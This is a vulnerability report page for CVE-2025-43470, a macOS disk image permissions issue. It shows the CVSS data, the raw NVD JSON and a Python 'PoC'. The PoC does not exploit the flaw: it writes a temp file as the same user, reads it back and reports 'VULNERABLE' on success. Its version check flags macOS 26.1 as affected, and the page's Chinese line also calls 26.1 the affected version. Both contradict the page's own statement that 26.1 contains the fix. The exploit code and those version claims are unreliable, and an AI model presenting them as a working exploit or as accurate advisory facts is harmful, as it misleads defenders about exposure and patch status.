Security Vulnerability Report
中文
CVE-2025-43470 CVSS 5.5 MEDIUM

CVE-2025-43470

Published: 2025-12-12 21:15:55
Last Modified: 2025-12-16 15:15:51

Description

A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.1. A standard user may be able to view files made from a disk image belonging to an administrator.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Tahoe 26.1 (受影响版本)
macOS Tahoe 26.1之前版本可能也存在此漏洞

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43470 PoC - macOS Disk Image Permission Bypass # This PoC demonstrates the permission bypass vulnerability in macOS Tahoe 26.1 # where a standard user can access files from an administrator's disk image import os import subprocess import tempfile def create_admin_disk_image(): """Simulate administrator creating a disk image with sensitive file""" print("[*] Simulating administrator creating disk image...") # Create a temporary directory for the disk image source source_dir = tempfile.mkdtemp() sensitive_file = os.path.join(source_dir, "admin_secrets.txt") # Write sensitive content with open(sensitive_file, 'w') as f: f.write("ADMIN_CREDENTIALS: secret_key_12345\n") f.write("API_TOKEN: sk-admin-abcdef123456\n") print(f"[+] Created sensitive file at: {sensitive_file}") return source_dir def exploit_permission_bypass(source_dir): """ Exploit the permission bypass vulnerability Standard user attempts to access admin's disk image files """ print("\n[*] Attempting to exploit CVE-2025-43470...") print("[*] Standard user attempting to access admin's disk image...") # Vulnerability: macOS allows standard users to access files # from disk images created by administrators exploit_path = os.path.join(source_dir, "admin_secrets.txt") try: # Attempt to read the file - should fail but succeeds due to bug with open(exploit_path, 'r') as f: content = f.read() print(f"[!] VULNERABLE: Successfully read admin's file!") print(f"[!] Content: {content}") return True except PermissionError: print("[+] SECURE: Access denied (vulnerability fixed)") return False except FileNotFoundError: print("[-] File not found in expected location") return False def verify_system_version(): """Check if system is affected (macOS Tahoe 26.1)""" try: result = subprocess.run(['sw_vers', '-productVersion'], capture_output=True, text=True) version = result.stdout.strip() print(f"[*] Current macOS version: {version}") if '26.1' in version or 'Tahoe' in version: print("[!] System may be vulnerable to CVE-2025-43470") return True else: print("[+] System version not affected") return False except Exception as e: print(f"[-] Could not determine system version: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-43470 PoC - macOS Disk Image Permission Bypass") print("=" * 60) verify_system_version() source_dir = create_admin_disk_image() exploit_permission_bypass(source_dir) print("\n[*] PoC execution completed") print("[*] Note: This demonstrates the permission bypass concept") print("[*] Actual exploitation requires specific disk image manipulation")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43470", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:55.000", "lastModified": "2025-12-16T15:15:50.847", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.1. A standard user may be able to view files made from a disk image belonging to an administrator."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}